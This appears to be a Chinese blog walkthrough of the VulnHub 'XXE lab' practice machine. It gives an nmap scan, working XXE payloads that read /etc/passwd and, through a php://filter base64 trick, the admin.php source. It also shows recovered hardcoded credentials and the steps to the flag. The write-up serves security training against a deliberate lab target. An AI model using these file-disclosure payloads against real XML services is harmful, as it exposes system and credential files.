• 9.xxe lab


    XXE lab

    如果你正在学习xxe漏洞 , 那么xxe lab , 绝对是一个适合你练手的靶场

    https://www.vulnhub.com/entry/xxe-lab-1,254/

    靶机 : xxe lab

    渗透机 : kali + win10

    补充 : 因为靶机自带的是nat网络 , 如果需要更改 , 别忘记啦

    0x01. 信息收集

    1. 确定靶机ip

    扫描当前网段ip

    image-20210623202808122

    kali : 192.168.0.110 靶机 : 192.168.0.111

    2. 扫描端口

    nmap -p 0-65535 -sV 192.168.0.111
    

    image-20210623210114987

    发现开了80和5355端口 , 不知道是什么 , 都访问一下吧 , 80 http端口 , 5355不是http端口

    image-20210623210344407

    发现是apache默认页面 , 接下来扫描一下目录看看

    image-20210623210930382

    发现一个robots.txt , 肯定是一个hint信息 , 访问一下吧

    image-20210623212459491

    上一个可以访问 , 但是发现admin.php访问不了 ,访问一下xxe试试

    image-20210623213522944

    是一个登录窗口 , 抓包 , 先爆破一下弱口令试试 , 发现竟然是xml传输的数据

    image-20210623213755969

    那你不先试试有没有xxe漏洞 , 你说是不是铁子

    补充 : 由于admin.php不能访问 , 于是我又扫了一下xxe目录下的路径 , 发现了一个admin.php , 还是可以访问的

    image-20210623234950200

    这个肯定是一个线索 , 我们先对xxe.php登录进行渗透

    0x02. 漏洞发现

    1.xxe漏洞

    xxe是分为有回显和无回显的 , 先来测测看看

    image-20210623214717176

    通过更改name的值 , 发现在返回包中会有显示 , 那就是有回显啦 , 先来个poc测一测

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE ANY[
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
    ]>
     <root><name>&xxe;</name><password>admin</password></root>
     
     <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE ANY[
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
    ]>
    <name>&xxe;</name>
    

    image-20210623214941261

    2. 漏洞利用->flag

    这不美滋滋 , 嘿嘿 , 可以读文件 , 那就读一下/xxe/admin.php看看源码怎么写的 , 因为关于后台肯定会有线索

    最好用base64编码之后在读取 , 防止显示乱码

    payload

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE ANY[
    <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
    ]>
     <root><name>&xxe;</name><password>admin</password></root>
    

    image-20210623215352652

    注意这个细节 , admin.php , 默认是因为当前url的路径下 , 即xxe/admin.php , 然后选中内容发送到decoder解码

    image-20210623215459995

    解码出现的内容复制到记事本 , 方便观看 ,你不复制直接看也行 , 发现一串认证代码

      if ($_POST['username'] == 'administhebest' && 
                      md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') {
                      $_SESSION['valid'] = true;
                      $_SESSION['timeout'] = time();
                      $_SESSION['username'] = 'administhebest';
                      
                    echo "You have entered valid use name and password <br />";
                    // 发现flag
    		$flag = "Here is the <a style='color:FF0000;' href='/flagmeout.php'>Flag</a>";
    		echo $flag;
    

    好家伙 , 账号 : administhebest

    密码 : e6e061838856bf47e1de730719fb2609 , cmd5撞一下

    image-20210623215806136

    admin@123 , ok , 接下来就是带着这些数据访问/xxe/admin.php啦 , 注意还有一个login参数

    image-20210623235218026

    发现了久违的flag , 点击

    image-20210623235403537

    我靠 , 无法访问 , 继续老规矩用我们的xxe , 去读一下这个flag文件的源码

    注意这个小细节 , resource=默认是当前url的相对路径 , 但是flag文件是根目录下的 , 所以我们用./flagmeout.php

    image-20210623235606847

    image-20210623235548068

    发现flag文件路径隐藏在这个一串不知名的编码 , 实际上是base32 , 相对于base64没有两个等于号 , 而且也是数字加字母 , 主要是看长度判断的 , 市面上常用的就那几种编码

    解码 : base32 --> base64 --> 明文

    image-20210623235946741

    image-20210624000026006

    发现flag文件在这个目录下 , 继续用我们的xxe读一下文件吧 , 注意小细节: 绝对路径

    image-20210624000230307

    解码

    image-20210624000308960

    发现是一串不知名的字符串 , 但是发现了很多的$和; , 再加上是.php文件 , 应该是php代码 , 去在线运行php代码网站 , 试一试

    image-20210624000657322

    image-20210624000645330

    注意: php代码在线执行的php版本 , 如果报错多试几个

    image-20210623202044974

  • 相关阅读:
    python中json.dumps()和json.dump() 以及 json.loads()和json.load()的区分
    Python的函数
    Python的Set容器
    Python的Dict容器
    Python的tuple容器
    Python的List容器
    python 的控制流程
    Python 数据类型
    k8s-Pod调度策略
    K8s创建pod yaml文件详解
  • 原文地址:https://www.cnblogs.com/xcymn/p/15712505.html
Copyright © 2020-2023  润新知